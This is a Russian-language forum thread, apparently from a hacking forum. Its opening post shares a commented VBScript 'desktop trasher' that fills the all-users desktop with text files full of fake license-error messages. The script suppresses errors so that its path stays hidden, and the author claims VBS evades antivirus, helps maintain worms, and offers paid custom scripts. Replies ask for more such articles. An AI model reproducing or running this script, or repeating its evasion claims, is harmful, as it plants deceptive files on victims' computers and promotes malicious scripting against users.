1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Пишем засиратель Рабочего стола на VBS

Тема в разделе "Скрипты", создана пользователем Wellini, 3 дек 2016.

  1. TopicStarter Overlay
    Wellini

    Wellini

    Регистрация:
    29 ноя 2016
    Сообщения:
    11
    Симпатии:
    11
    Рылся я в глубинах своего харда и набрёл на папочку со своими ВБС скриптами и решил на примере самого безопасного из них рассказать о возможностях этого маленького и обделённого вниманием языка.
    Вообще VBS - это наверно самая глубокая и очевидная дыра в безопасности Винды, а значит стоит её Вам показать.
    Представьте себе, он не требует компиляции, исполняется системным интерпретатором(а значит имеет привилегии), даже самый злой код не палится антивирусами (трояны писать не пробовал, даже не знаю, есть ли библиотеки для хттп запросов, но черновую работу по обслуживанию всяких червей и их модулей выполняет на ура!)
    Go ahead!
    ----------------------------------------------------------CODE--------------------------------------------------------------
    REM - комментарий.
    REM & - конкатенация
    REM можно задавать не явные переменные (т.е. без предварительного задания),
    dim COShell, COFSObj, v,k,r,b, SpecFolders

    REM "WScript.Shell" - библиотека, подключающая окружение виндовс, здесь мы используем её для того, чтобы узнать путь к рабочему столу
    Set COShell = CreateObject("WScript.Shell")

    REM библиотека, которая подключает окружение файловой системы, чтобы мы потом создали файл
    Set COFSObj = CreateObject("scripting.filesystemobject")
    Set SpecFolders = COShell.SpecialFolders
    v = 1
    REM количество файлов, которое создадим. учтите мой горький опыт и не создавайте больше, чем может поместиться на десктоп, иначе экплорер рухнет, а после перезагрузки изменения откатятся
    For k = 1 to 2

    REM отключаем выведение ошибок, чтобы оно ошибки не запалило путь к скрипту
    On Error Resume Next
    REM создаём текстовик, кстати CreateTextFile позволяет создавать любые файлы, определяемые в ФС, как строчные. другими словами все, которые можно открыть в блокноте, не получив рак глазного яблока)
    Set b = COFSObj.CreateTextFile(SpecFolders.Item("AllUsersDesktop")&"/"&"crash"&"("&v&")"&".txt")
    REM кличество строк в каждом файле
    For r = 1 to 100
    REM придумайте убедительный текст ошибки. Ну или любой другой текст. Тут на ваш вкус
    b.WriteLine("crash ["&Now&"] Error: 560314Crlf (Class C). Error checking license.")
    Next
    v = v + 1
    Next
    ----------------------------------------------------------/CODE-------------------------------------------------------------
    П.С. если ВБСка Вас заинтересовала, могу написать ещё пару статей.
    П.П.С. Также пишу скрипты на VBS на заказ от 100 рублей.
    П.П.П.С. все скрипты закрываются завершением процесса wscript.exe
     
    • Like Like x 4
    Последнее редактирование: 3 дек 2016
  2. VasiaPechkin

    VasiaPechkin Ананасик

    Регистрация:
    11 июн 2014
    Сообщения:
    239
    Симпатии:
    259
    Заинтересовала, напиши еще пару статей )
     
  3. chokopai

    chokopai

    Регистрация:
    15 ноя 2015
    Сообщения:
    69
    Симпатии:
    24
    Интересная тема .. Пиши ещё конечно ,вообще не часто встречаются статьи по VBS .
     
  4. Klinok86rus

    Klinok86rus

    Регистрация:
    13 ноя 2016
    Сообщения:
    17
    Симпатии:
    12
    не плохая статейка, может чё ещё запилишь...
    интересно было почитать
     
  5. fantomzzz

    fantomzzz

    Регистрация:
    3 янв 2014
    Сообщения:
    134
    Симпатии:
    196
    Вроде бы вбс палится и даже очень, есть крипторы для вбс)
     

Поделиться этой страницей

Загрузка...